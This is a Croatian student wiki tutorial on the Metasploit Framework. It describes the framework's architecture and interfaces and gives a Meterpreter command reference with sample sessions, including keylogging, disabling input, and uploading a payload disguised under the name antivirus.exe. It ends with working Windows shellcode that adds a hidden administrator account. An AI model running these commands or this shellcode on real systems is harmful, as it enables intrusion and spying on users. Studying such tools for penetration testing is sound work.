Metasploit framework i izrada modula za MSF

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Krunoslav Đuras, Nikola Dugandžić

Sadržaj

Metasploit Framework

Metasploit framework je alat za razvoj exploitacijskog koda te izvršavanje istog na udaljenom ciljnom računalu. Metasploit framework je framework otvorenog koda. On je dizajniran kako bi stručnjacima za sigurnost i penetracijskim testerima stavio na raspolaganje brz i jedinstven način za razvoj i korištenje raznih exploitova, payloadova, encodera, NOP generatora i alata za izviđanje (engl. reconnaissance). Framework programerima pruža mogućnost da iskoriste velike dijelove već prije napisanih programa bez potrebe za kopiranjem koda ili ponovnom implementacijom.

Ova modularnost koja dozvoljava kombiniranje bilo kojih exploita sa bilo kojim payloadom je glavna prednost samog frameworka: to olakšava posao napadača, exploit i payload programera.
Metasploit radi na UNIX-u (uključujući Linux i Mac OS X) i na Windowsima. To uključuje dva sučelja naredbenog retka, web bazirano sučelje i izvorni GUI. Web bazirano sučelje je namijenjeno pokretanju sa računala napadača. Metasploit framework se može proširiti vanjskim dodacima (engl. add-ons) na više jezika. Osnovni koraci exploitacije nekog sustava uz pomoć Metasploit frameworka uključuju:

  1. Odabir i konfiguracija exploita - koda koji iskorištava neki bug u sustavu - MSF sadrži bazu velikog broja exploita (oko 1000 exploita)
  2. Provjera da li je ciljani sustav ranjiv na odabrani exploit
  3. Odabir i konfiguracija payload-a - koda koji će se izvršiti na ciljanom sustavu nakon uspješne exploitacije - npr. remote shell
  4. Odabir tehnike kodiranja sa kojom će se kodirati payload - radi smanjenja rizika da će IPS sustavi detektirati payload
  5. Izvršavanje exploita


Kako bi se odabrao odgovarajući exploit i payload, potrebne su neke informacije o ciljnom sustavu kao što je verzija OS-a i instalirane mrežne usluge. Ove informacije se mogu očitati sa skeniranjem portova i alatima za otisak prsta OS-a (engl.OS fingerprinting tools) kao što je Nmap. Skeneri za ranjivost kao što su Nexpose ili Nessus mogu otkriti ranjivosti ciljnog sustava. Metasploit može uvesti skenirane podatke o ranjivosti i usporediti identificirane ranjivosti sa postojećim exploit modulima za precizniju eksploataciju.

MSF se u današnje vrijeme smatra pojedinačno najčešće korisnim alatom za reviziju koji je besplatno dostupan za profesionalce IT sigurnosti. Iz širokog spektra exploita komercijalnih razreda i opsežnog okruženja za razvoj exploita, pa sve do alata za prikupljanje informacija o mreži i plugina za ranjivosti weba. Metasploit framework pruža zaista impresivno radno okruženje. MSF je mnogo više nego samo kolekcija exploita, to je infrastruktura koju je moguće nadograđivati i koristiti prema prilagođenim potrebama. Time se korisnici mogu koncentrirati na svoje jedinstveno okruženje bez potrebe da moraju „izmišljati točak“.

Arhitektura Metasploit Framework-a

Na sljedećoj slici prikazana je arhitektura Metasploit Framework-a

MSF arhitektura.png



Framework je dizajniran da bude čim više modularan kako bi potaknuo ponovnu upotrebu koda kroz različite projekte. Najbitniji komad arhitekture je Rex biblioteka što je u biti skraćena Ruby Extension biblioteka. Neke komponente koje pruža Rex uključuju podsustav omotanih socketa (engl. wrapper socket subsystem), implementacije klijentskih protokola i servera, podsustav prijave, uslužne klase za eksploataciju i još mnogo drugih korisnih klasa. Rex je sam po sebi dizajniran kako ne bi imao ovisnosti o ničem drugom nego samo o onom što dođe sa zadanom instalacijom Ruby-a. U slučaju da neka klasa Rex-a ovisi o nečem drugom što nije uključeno u zadanu instalaciju, onda neuspjeh u pronalasku takvih ovisnosti ne bi trebao dovesti do nemogućnosti korištenja Rex-a.
Framework je sam po sebi podijeljen na par različitih dijelova, gdje je na najnižem nivou jezgra frameworka. Jezgra frameworka je odgovorna za implementaciju svih potrebnih sučelja koja dozvoljavaju interakciju sa modulima exploita, sesijama i pluginovima. Ova jezgrina biblioteka je produžena sa osnovnom bibliotekom frameworka koja je dizajnirana kako bi pružila jednostavnije omotane rutine (engl. wrapper routines) za rad sa jezgrom frameworka, kao i pružala uslužne klase za rad sa različitim aspektima frameworka, kao što je serijalizacija stanja modula u druge izlazne formate. Također, osnovna biblioteka je produžena sa korisničkim sučeljem frameworka koji ima implementiranu podršku za različite tipove korisničkih sučelja za sam framework, kao što je naredbena konzola i web sučelje.
Od samog frameworka su odvojeni moduli i plugini koji su dizajnirani za podršku. Neki modul frameworka se definira kao jedan od exploita, payloada, encodera, NOP generatora ili pomoćni (engl.auxiliary). Ovi moduli imaju dobro definiranu strukturu i sučelje za učitavanje u framework. Framework plugin je veoma labavo definiran kao nešto što produžuje funkcionalnost frameworka ili povećava postojeću značajku kako bi ga promijenio da djeluje drugačijim načinima. Sljedeći odjelci će razraditi svaki od paketa opisanih iznad i različite važne podsustave pronađene unutar svakog paketa. Cijela dokumentacijal klasa i API-ja spomenutih u ovom dokumentu se mogu pronaći u dokumentaciji auto-generiranih API razina na webstranicama Metasploita.

Rex

Rex biblioteka je zbirka klasa i modula koji možda mogu biti korisni za više nego jedan projekt. Najkorisnije klase koje pruža biblioteka su dokumentirane u u sljedećim potpoglavljima. Kako bi koristili Rex biblioteku, ruby skripti je potreban rex. Kada se pišu exploiti često je nužno generirati skup instrukcija usput sa promjenjivim operandima kao što su neposredne vrijednosti, registri itd. Za podršku ovoj potrebi, Rex biblioteka pruža klase pod Rex::Arch namespace koji implementira generacijske rutine operacijskog koda ovisnog o arhitekturi kao i druge metode specifičke arhitekture, kao što su pakiranja cijelih brojeva (engl. integer packing). Često puta će ranjivosti imati zajednički vektor napada ili će im biti potreban specifičan redoslied operacija kako bi postigli krajnji cilj izvršavanja koda. Kao pomoć po tom pitanju, Rex biblioteka pruža skup klasa koje implementiraju neke od najčešćih potreba koje bi exploiti možda trebali imati.

Rex biblioteka pruža podršku za osnovno logiranje stringova u proizvoljna log sinkroniziranja, kao što su nestrukturirane datoteke ili baza podataka. Sučelje za logove je dostupno programerima kroz skup globalno definiranih metoda:dlog,ilog,wlog,elog i rlog. Ove metode predstavljaju debug logove, informacijske logove, logove upozorenja, logove o greškama i sirove logove respektivno. Svaka metoda može prenijeti log poruku, izvor loga (naziv komponente ili paketa odakle je došla poruka), i log razinu koja je broj između 0 i 3. Izvori logova se mogu registrirati usput registriranjem izvora loga i njihova log razina se može postaviti postavljanjem log razine.

Rex biblioteka pruža ipmlementacije na strani klijenta za neke napredne posteksploatacijske kolekcije programa kao što su DispatchNinja i Meterpreter. Ta dva posteksploatacijska korisnička sučelja su dizajnirana kako bi se mogla koristiti izvan konteksta exploita. Rex::Post namespace pruža skup klasa u svom korijenu koje su namijenjene da djeluju kao generalizirana sučelja na udaljenim sustavima preko posteksploatacijskih klijenata, ako je podržan. Ove klase dozvoljavaju programerima da napišu automatizirane alata koji mogu raditi na udaljenim računalima na način koji nije ovisan o platformi. Iako je istina da platformama mogu nedostajati analogni skupovi značajki za neke akcije, većina zajedničkih skupova akcija će imati istu funkcionalnost.  

MSF Core

Jezgra frameworka implementira skup klasa koje pružaju sučelju framework module i plugine. Dio jezgre frameworka je dizajniran kako bi se koristio u pristupu baziranom na instancama. To znači da stanje čitavog frameworka može biti sadržano unutar jedne instance klase pa prema tome može dozvoliti programerima da imaju više istodobnih i odvojenih instanci frameworka u uporabi u istom vremenu, a ne da sve prisilno dijeli jednu singleton instancu. Jezgra frameworka se sastoji od nekoliko različitih upravljača koji su odgovorni za neke od osnovnih aspekata frameworka, kao što je upravljanje modulima i pluginovima.

MSF Base

Baza frameworka je sloj biblioteke izgrađen na vrhu jezgre frameworka koja dodaje klase koje olakšavaju rad sa frameworkom. Također pruža skup klasa koje bi možda mogle koristiti alatima za razvoj od strane trećih stranki koje nužno ne spadaju unutar okvira jezgre frameworka. Klase koje izgrađuju framework bazu su opisane u sljedećim poglavljima. Kako bi se koristila bazna framework biblioteka, ruby skripti će biti potreban msf/base.

--Ndugandzi 14:55, 20. siječnja 2013. (CET)

Sučelja za MSF

Metasploit frameworok pruža GUI sučelja, konzolno sučelje zvano msfconsole i sučelje naredbenog retka zvano msfcli.

Grafičko korisničko sučelje – msfgui

Kako bi otvorili metasploit gui , potrebno je otvoriti terminal i napisati msfgui. Iz Metasploit grafičkog korisničkog sučelja je moguće gotovo skoro iste stvari raditi kao i sa drugih sučelja. GUI je jako koristan ukoliko se radi o novom korisniku Metasploit frameworka.

Msfgui.png

Msfconsole

MSFconsole je vjerojatno najpopularnije sučelje MSF-a. Pruža centraliziranu konzolu koja je sve u jednom i koja dozvoljava učinkovit pristup gotovo svim opcijama dostupnim u Metasploit frameworku. MSFconsole možda djeluje zastrašujuća na prvi pogled, ali kad se nauči sintaksa naredbi onda će korisnik naučiti cijeniti snagu korištenja ovog sučelja. MSFconsole je najpopularnije sučelje Metasploit frameworka. Pruža sve što je potrebno kako bi se pokrenuo exploit, učitali pomoćni (engl. auxiliary) moduli, izvela prebrojavanja, stvorili slušatelji ili pokrenuli masovnu eksploataciju protiv višestrukih ciljeva. To je jedini podržani način kako bi se pristupilo većini značajki unutar Metasploita i to je najstabilnije Metasploit sučelje. MSFconsole pruža mogućnost otvaranja tabova (engl. tab completion). Kako bi se otvorila MSFconsole potrebno je otvoriti terminal i utipkati msfconsole.

Msfconsole.png


Msfcli

Msfcli pruža Metasploi frameworku snažno sučelje naredbenog retka, ali ne podržava bilo kakve napredne mogućnosti automatizacije msfconsole.Msfcli je odlično sučelje za skriptiranje, koje dozvolljava preusmjeravanje outputa od drugih alata u msfcli. Msfcli se može koristiti kao msfconsole, za pokretanje exploita ili pomoćnih (auxiliary) modula, ali ga je mnogo teže koristiti. Koristan je za specifične zadatke kao što je testiranje ili razvoj novih exploita. Msfcli je pogodan kada se točno zna koji exploit i koja opcija je potrebna. Kako bi se pokrenuo msfcli, potrebno je otvoriti terminal i upitakati msfcli. Za više pomoći potrebno je utipkati msfcli –h.

Armitage

Armitage je besplatan GUI front-end za Metasploit framework kojeg je razvio Raphael Mudge. Kako bi se pokrenuo armitage, potrebno je utipkati armitage u terminal.

Armitage.png

--Krudjuras 22:14, 20. siječnja 2013. (CET)

Metasploit moduli

U Metasploit module se ne ubrajaju samo Exploit-i, nego u njih možemo uvrstiti

Payload-ovi su proizvoljni kodovi koji se izvršavaju prilikom uspješne primjene Exploita.

Osnove rada sa Metasploit Frameworkom

Baze podataka

Kada se provodi penetracijski test, često je izazov pratiti sve što se učini na odredišnoj mreži. Ovdje upotreba baze podataka može predstavljati veliku uštedu na vremenu. Metasploit ima ugrađenu podršku za PostgeSQL sustav baze podataka. Sustav dozvoljava brzi i jednostavni pristup skeniranju informacija, daje nam mogućnost uvoza i izvoza rezultata skeniranja sa različitih alata trećih stranaka. Također možemo koristiti ove informacije kako bi poprilično brzo konfigurirali opcje modula. No, najvažnije je da čuva rezultate čistima i organiziranima.

Metasploit Meterpreter

Meterpreter je napredni, dinamički proširivi payload koji koristi DLL injection stagers unutar memorije te se proširi kroz čitavu mrežu prilikom upotrebe. Komunicira preko stager socketa i pruža sveobuhvatan Ruby API na klijentskoj strani. Značajke su mu da ima naredbenu povijest, završetak kartice (engl. tab completion) kanale i još mnogo toga. Meterpreter je izvorno napisan od skape???? za Metasploit 2.x, zajedničke ekstenzije su spojene za 3.x te se trenutno prolazi remont za Metasploit 3.3. Serverski dio je implementiran u čistom C-u te se sada kompajlira sa MSCV, čineći ga ponešto prenosivim. Klijent se može napisati u bilo kojem jeziku, ali Metasploit sadrži potpuno opremljeni Ruby klijent API.


Kada se pokuša eksploatirati udaljeni sustav, napadač uvijek ima specifične ciljeve na umu – obično, da dobije naredbenu ljusku udaljenog sustava, a time i pokretanje proizvoljnih naredbi na tom sustavu. Napadač bi također želio da to učini u što je više moguće skrivenim načinom, kao i izbjegavanje bilo kakvih sustava za otkrivanje upada (IDSs).
Ako je eksploatacija uspješna, ali naredbena ljuska prestane raditi, ili se izvršava u zatvorenom okruženju, napadačeve opcije će biti teško ograničene. To znači da pokretanje novog procesa na udaljenom sustavu rezultira u visoko vidljivoj situaciji, gdje bi dobar administrator ili forenzički analitičar, koji bi prvo provjerio listu pokrenutih procesa na sumnjivom sustavu, primjetio novi proces – i to je jedna od stvari koje napadač ne želi da se dogode.
Tek se tada u posao uključuje Meterpreter (skraćeno za Meta-Interpreter). Meterpreter je jedan od naprednijih payloada dostupnih sa MSF-om , ali se ne bi trebalo na njega gledati kao običan payload, već prije kao exploit platforma koja se izvršava na udaljenom sustavu. Meterpreter ima svoju vlastitu naredbenu ljusku, koja napadaču pruža široki spektar aktivnosti koje se mogu izvršiti na eksploatiranom sustavu. Dodatno, Meterpreter dozvoljava programerima pisanje svojih vlastitih ekstenzija u formi DLL datoteka, koje se mogu uploadati i izvršiti na udaljenim sustavima. Dakle, bilo koji programski jezik u kojem se programi mogu kompajlirati u DLL-ove se može koristiti za razvoj Meterpreter ekstenzija.
Međutim, prava ljepota Meterpretera leži u tome da može raditi kada sam sebe ubrizga u ranjive pokrenute procese na udaljenom sustavu, kada se pojavi eksploatacija. Sve naredbe idu kroz Meterpreter i također se izvršavaju unutar konteksta pokrenutog procesa. Na taj način je u stanju da izbjegne otkrivanje od strane bilo kakvog antivirusnog sustava ili osnovnih forenzičkih ispitivanja.

Osnovne komande

?, help

Pokretanjem ove naredbe dobiva se popis naredbi sa kratim objašnjenjem svake naredbe.

background

Ovom naredbom pauzira se trenutna sesija Meterpreter-a te se prebacuje u metasploit konzolu.

channel

Prikazuje informacije o aktivnim kanalima.

close

Naredba koja služi za zatvaranje određenog kanala.

exit, quit

Naredba pomoću koje se zatvara trenutna sesija te se vraća u metasploit konzolu.

interact

Naredba za interakciju sa nekim kanalom.

irb

Naredba irb služi za pokretanje interaktivnog shell-a programskog jezika Ruby. Na taj način se skriptni jezik Ruby može koristiti za interakciju sa kompromitiranim računalom.

migrate

Meterpreter se inicijalno izvršava unutar exploitiranog procesa ili kao poseban proces u nekim slučajevima. Ako se taj proces prekine iz nekog razloga, sesija Meterpretera će se zatvoriti. Zbog toga je dobra ideja Meterpreter sesiju prebaciti u neki drugi proces za koji je manje vjerojatno da će se zatvoriti, npr. u proces explorer.exe.

read

Služi za čitanje podataka sa nekog kanala.

run

Sa naredbom run se može izvršiti neka meterpreter skripta.

use

Sa naredbom use se mogu užitati ekstenzije za meterpreter koje onda pružaju mogućnost korištenja dodatnih naredbi i funkcionalnosti. Sa use -l možemo dobiti popis svih dostupnih ekstenzija.

write

Sa naredbom write se zapisuju podaci u određeni kanal.

File system commands

cat

Naredba cat prikazuje sadržaj jedne datoteke. Ukoliko je datoteka prazna naredba cat će izbaciti pogrešku.

meterpreter > <i><b>cat passwords.txt</b></i>
harleydavidson
password
kidsbirthday
cd

Kako bi se promijenio direktorij koristi se naredba cd. Naredba prihvaća i slash i backslash putanje do direktorija naizmjenično, ali se češće koristi slash (/). "." i ".." se koriste kako bi se pristupilo trenutnom i nadređenom direktoriju respektivno, te se dvostruke točke mogu koristiti za pristup direktorijima sa razmakom u nazivu.

meterpreter > <i><b>pwd</b></i>
C:\
meterpreter > <i><b>cd /"Program Files"/"Internet Explorer"</b></i>
meterpreter > <i><b>pwd</b></i>
C:\Program Files\Internet Explorer
meterpreter > <i><b>cd ../../"documents and settings"/Administrator/Desktop/</b></i>
C:\Documents and Settings\Administrator\Desktop
download

Kada trebamo dohvatiti datoteku iz cilja, koristimo naredbu download, koja prenosi određenu datoteku u naš lokalni radni direktorij. U slučaju da trebamo rekurzivno preuzeti cijeli direktorij onda koristimo naredbu download -r.

meterpreter > <i><b>download users.txt</b></i>
[*] downloading: users.txt -> users.txt
[*] downloaded : users.txt -> users.txt
edit

Ukoliko želimo urediti datoteku koristeći zadani tekst editor koristit ćemo naredbu edit. U pozadini, Meterpreter će preuzeti kopiju datoteke u privremeni (temp) direktorij, te potom uploadati novu datoteku kad se završi sa uređivanjem.

meterpreter > <i><b>edit users.txt</b></i>
getlwd

Možemo pirkazati trenutni radni direktorij na anšem lokalnom računalu koristeći naredbu getlwd (dohvaća lokalni radni direktorij) ili koristeći alisa,naredbu lpwd (lokalni print radni direktorij)

meterpreter > <i><b>getlwd</b></i>
/home/myusername/Desktop/metasploit
meterpreter > <i><b>lpwd</b></i>
/home/myusername/Desktop/metasploit
getwd

Možemo prikazati trenutni radni direktorij na eksploatiranom računalu koristeći naredbu getwd (dohvaća radni direktorij) ili koristeći alias naredbu pwd (ispiši radni direktorij)

meterpreter > <i><b>getwd</b></i>
C:\Program Files\Internet Explorer
meterpreter > <i><b>pwd</b></i>
C:\Program Files\Internet Explorer
lcd

Kako bi promjenili lokalni direktorij koristimo naredbu lcd. Naredba prima argumente samo na isti način kao i što radi naredba cd na našem OS-u, tako da su specifični upute ove naredbe dostupne i u dokumentaciji sustava. Sljedeći primjer prikazuje naredbu lcd na Linux sustavu.

meterpreter > <i><b>lpwd</b></i>
/home/myusername/Desktop/metasploit
meterpreter > <i><b>lcd ../..</b></i>
meterpreter > <i><b>lpwd</b></i>
/home/myusername
meterpreter > <i><b>lcd /home/andrer/Desktop/metasploit</b></i>
meterpreter > <i><b>lpwd</b></i>
/home/myusername/Desktop/metasploit
lpwd

Sa ovom naredbom se može prikazati trenutni radni direktorij na našem lokalnom računallu (ispis lokalnog radnog direktorija). Isto se može ostvariti koristeći alias ove naredbe, naredbu getlwd (dohvati lokalni radni direktorij).

meterpreter > <i><b>lpwd</b></i>
/home/myusername/Desktop/metasploit
meterpreter > <i><b>getlwd</b></i>
/home/myusername/Desktop/metasploit
ls

Možemo vidjeti i trenutni radni direktorij i detaljan opis datoteka u tom direktoriju koristeći naredbu ls. Izlistaji datoteka su dati u obliku sličnom programu GNU ls.

meterpreter > <i><b>ls</b></i>

Listing: C:\Documents and Settings\Administrator\Desktop\shared
===============================================================

Mode              Size   Type  Last modified                   Name               
----              ----   ----  -------------                   ----               
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
100777/rwxrwxrwx  14965  fil   Wed Dec 31 18:00:00 -0600 1969  meter-443.exe  
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  u3
mkdir

ova naredba se koristi kako bi se stvorio novi direktorij na ciljnom sustavu.

meterpreter > <i><b>mkdir antivirus-update</b></i>
Creating directory: antivirus-update
meterpreter > <i><b>ls</b></i>

Listing: C:\Documents and Settings\Administrator\Desktop
================================================

Mode              Size     Type  Last modified                   Name               
----              ----     ----  -------------                   ----               
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  .                  
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  ..                 
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  antivirus-update   
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  shared             
40777/rwxrwxrwx   0        dir   Wed Dec 31 18:00:00 -0600 1969  working
pwd

Možemo prikazati trenutni radni direktorij na našem lokalnom računalu koristeći naredbu pwd (ispiši radni direktorij -print working directory) ili koristeći alias, naredbu getwd(dohvati radni direktorij - get working directory).

meterpreter > <i><b>pwd</b></i>
C:\Program Files\Internet Explorer
meterpreter > <i><b>getwd</b></i>
C:\Program Files\Internet Explorer
rmdir

Možemo takođe ukloniti prazan direktorij sa naredbom mkdir. Naredba će ispisati pogrešku ukoliko se radi o praznom direktoriju.

meterpreter > <i><b>rmdir antivirus-update</b></i>
Removing directory: antivirus-update
upload

Koristi se za slanje datoteke na ciljnom sustavu. Uz pomoć -r prekidača rekurzivno se uploadaju direktoriji i njeni sadržaji. U sljedećem primjeru uploadamo lažno imenovani Meterpreter payload.

meterpreter > <i><b>upload antivirus.exe</b></i>
[*] uploading  : antivirus.exe -> antivirus.exe
[*] uploaded   : antivirus.exe -> antivirus.exe
meterpreter > <i><b>ls</b></i>

Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update
=================================================================

Mode              Size   Type  Last modified                   Name           
----              ----   ----  -------------                   ----           
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  .              
40777/rwxrwxrwx   0      dir   Wed Dec 31 18:00:00 -0600 1969  ..             
100777/rwxrwxrwx  10912  fil   Wed Dec 31 18:00:00 -0600 1969  antivirus.exe

Networking Commands

ipconfig

Koristeći naredbu ipconfig, drugačije rečeno konfiguraciju internet protokola, možemo pogledati popis svih mrežnih sučelja na ciljnom sustavu. Gledanje rezultata ispisa za ipconfig je najviše korisno ukoliko želimo odrediti u koje je mreže ciljni sustav direktno spojen. Primjerice, u dijelu ispod možemo vidjeti da je meta spojena na 192.168.50.0/24 sa unutarnjom adresom 192.168.50.100.

meterpreter > <i><b>ipconfig</b></i>

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0b:cd:30:db:0a
IP Address  : 192.168.50.100
Netmask     : 255.255.255.0
portfwd

Prosljeđuje lokalni port nekom udaljenom servisu.

route

Koristi se za pregled i izmjenu tablice usmjeravanja.

System commands

execute

Izvršava naredbu. Kako bi se izvršila naredba potrebno je koristiti execute "-f" za izvršnu datoteku "cmd.exe". Ovo će se odviti u pozadini. Kako bi provjerili ovo potrebo je utipkati ps execute -f cmd.exe 54124 ---> ID procesa.

getpid

Koristi se za dohvaćanje trenutnog identifikatora procesa.

getuid

Dohvaća se server koji je pokrenut kao korisnik.

kill

Terminira proces.

ps

Naredba ps služi za ispis svih pokrenutih procesa te je važna naredba iz par razloga. Prvo, to je dobra ideja za nas kako bi bili svjesni aplikacija i servisa koji su pokrenuti s ciljem upozoravanja sustava. Drugo, Meterpreter je u početku pokrenut unutar eksploatiranog procesa ili u nekim slučajevim kao zaseban izvršni proces. Ukoliko se taj proces zaustavi iz bilo kojih razloga, Meterpreter sesija će se zatvoriti, tako da je dobra praksa preseliti sesiju na malo više stabilniji proces kao što je "Windows explorer.exe".

meterpreter > <i><b>ps</b></i>

Process list
============

    PID   Name                      Path                                                     
    ---   ----                      ----                                                     
    284   MPFSrv.exe                C:\Program Files\McAfee\MPF\MPFSrv.exe                   
    424   RalinkRegistryWriter.exe  C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe  
    492   smss.exe                  \SystemRoot\System32\smss.exe                            
    592   winlogon.exe              \??\C:\WINDOWS\system32\winlogon.exe                     
    612   WinVNC4.exe               C:\Program Files\RealVNC\VNC4\WinVNC4.exe                
    636   services.exe              C:\WINDOWS\system32\services.exe                         
    648   lsass.exe                 C:\WINDOWS\system32\lsass.exe                            
    804   svchost.exe               C:\WINDOWS\system32\svchost.exe                          
    876   NOTEPAD.EXE               C:\WINDOWS\system32\NOTEPAD.EXE                          
    964   svchost.exe               C:\WINDOWS\System32\svchost.exe                          
    1348  spoolsv.exe               C:\WINDOWS\system32\spoolsv.exe                          
    1464  Explorer.EXE              C:\WINDOWS\Explorer.EXE                                  
    1540  mcagent.exe               C:\Program Files\McAfee.com\Agent\mcagent.exe            
    1612  RaUI.exe                  C:\Program Files\RALINK\Common\RaUI.exe                  
    1840  McSACore.exe              C:\Program Files\McAfee\SiteAdvisor\McSACore.exe         
    1852  mcmscsvc.exe              C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe                      
    1876  mcnasvc.exe               c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe              
    1928  mcproxy.exe               c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe          
    1952  mcshield.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe                 
    3028  wuauclt.exe               C:\WINDOWS\system32\wuauclt.exe                          
    3168  wpabaln.exe               C:\WINDOWS\system32\wpabaln.exe                          
    3240  mcsysmon.exe              C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
reboot

Koristeći naredbu rebook, ciljni sustav se ponovo pokreće.

meterpreter > <i><b>reboot</b></i>
Rebooting...
reg

Služi za izmjenu i interakciju sa udaljenim regeistrom.

rev2self

Poziva RevertToSelf() na udaljenom računalu.

shutdown

Koristeći naredbu shutdown, ciljni sustav će se isključiti.

meterpreter > <i><b>shutdown</b></i>
Shutting down...
sysinfo

Kroz post-eksploatacijsku fazu, jedna od najranijih naredbi koje bi trebali pokrenuti je naredba sysinfo. Pokretanje naredbe će nam dati ime račinala i verziju OS-a, koja ćešto nudi trag o svrsi ciljnog sustava.

meterpreter > <i><b>sysinfo</b></i>
Computer: TARGETLAPTOP
OS      : Windows XP (Build 2600, Service Pack 2).

User Interface Commands

enumdesktops

Ispisuje popis svih dostupnih desktop i windows stanica.

idletime

Koristeći naredbu idletime dohvaćamo duljinu vremena koje je korisnik ciljnog sustava bio u stanju mirovanja.

 meterpreter > <i><b>idletime</b></i>
 User has been idle for: 51 secs
keyscan_dump

Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.

meterpreter > <i><b>keyscan_start</b></i>
Starting the keystroke sniffer...
meterpreter > <i><b>keyscan_dump</b></i>
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > <i><b>keyscan_stop</b></i>
Stopping the keystroke sniffer...
keyscan_start

Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.

meterpreter > <i><b>keyscan_start</b></i>
Starting the keystroke sniffer...
meterpreter > <i><b>keyscan_dump</b></i>
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > <i><b>keyscan_stop</b></i>
Stopping the keystroke sniffer...
keyscan_stop

Možemo uhvatiti unos sa tipkovnice ciljnog sustava koristeći keyscan niz naredbi. Naredba keyscan_start i keyscan_stop će pokrenuti i završiti snimanje unosa sa tipkovnice,respektivno, dok naredba keyscan_dump prikazuje sve snimljene unose sa tipkovnice na našem klijentu.

meterpreter > <i><b>keyscan_start</b></i>
Starting the keystroke sniffer...
meterpreter > <i><b>keyscan_dump</b></i>
Dumping captured keystrokes...
This text is actually being typed into the target's keyboard.<Return> 
meterpreter > <i><b>keyscan_stop</b></i>
Stopping the keystroke sniffer...
setdesktop

Premještanje na drugu radnu stanicu i desktop.

uictl

Koristeći naredbu uictl imamo mogućnost onemogućavanja unosa tipkovnice i mišta na ciljnom sustavu.

meterpreter > <i><b>uictl disable mouse</b></i>
Disabling mouse...
meterpreter > <i><b>uictl enable mouse</b></i>
Enabling mouse...
meterpreter > <i><b>uictl disable keyboard</b></i>
Disabling keyboard...
meterpreter > <i><b>uictl enable keyboard</b></i>
Enabling keyboard...

--Ndugandzi 09:17, 20. siječnja 2013. (CET) --Krudjuras 11:57, 19. siječnja 2013. (CET)

Izrada modula za MSF

Kod verzije 4.5 MSF-a moduli se nalaze u direktoriju /opt/metasploit-4.5.0/apps/pro/msf3/modules/ Moduli za Metasploit Framework se pišu u skriptnom jeziku Ruby.

Kod kreiranja novih modula moguće je koristiti već postojeće module, kombinirati postojeće module i sl. jer je cijeli Metasploit framework pisan tako da bude vrlo modularan i da se većina postojećeg kod može ponovo iskoristiti.

Izrada exploitova

Osnovna struktura exploit modula je sljedeća

    header and some dependencies
        Some comments about the exploit module
        require ‘msf/core’
    class definition
    includes
    “def” definitions :
        initialize
        check (optional)
        exploit

Fuzzing

Fuzzer je program koji pokušava otkriti sigurnone ranjivosti slanjem slučajnih inputa nekoj aplikaciji. Ukoliko program sadrži ranjivosti koje mogu dovesti do iznimki, pada ili serverske greške (u slučaju web aplikacija), može se utvrditi daje ranjivost otkrivena. Fuzzeri se često nazivaju Fault Injectors (pogrešnim ubrizgavačima) jer generiraju smetnje i šalju ih prema nekoj aplikaciji. Općenito fuzzeri su dobi prilikom pronalaženja prekoračenja buffera, DoS, SQL Injection, XSS i Format String bugovi. Oni čine loš posao prilikom pronalaženja ranjivosti koje ne uzrokuju rušenje programa.

Izrada encodera

Kod izrade novog encodera cilj je da se kreira novi način kodiranja koji bi trebao smanjiti vjerojatnost detekcije palyoada i povećati vjerojatnost njegovog uspješnog izvršenja. Postoji više vrsta encodore, a primjer izvornog koda jednog jednostavnog encodera prikazan je u nastavku

Izrada payloadova

Kod izrade payloadova u biti se izrađuje koristan teret koji će se izvršiti ako se računalo uspješno exploita. To većinom uključuje pisanje shellcodeova, a to pretpostavlja dobro poznavanja programiranja u assembleru i dobro poznavanje operacijskog sustava koji se exploita jer se shellcodovi razlikuju čak i po verzijama Service Packova za Windowse.

Sljedeći shellcode dodaje novog korisnika sa administratorskim ovlastima na operacijskom sustavu Windows XP SP3 (32-bitna engleska verzija).

char code[] =   "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"
                "\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
                "\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"
                "\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
                "\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73"
                "\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e"
                "\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20"
                "\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67"
                "\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e"
                "\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20"
                "\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61"
                "\x64\x64\x00";

Shellcode

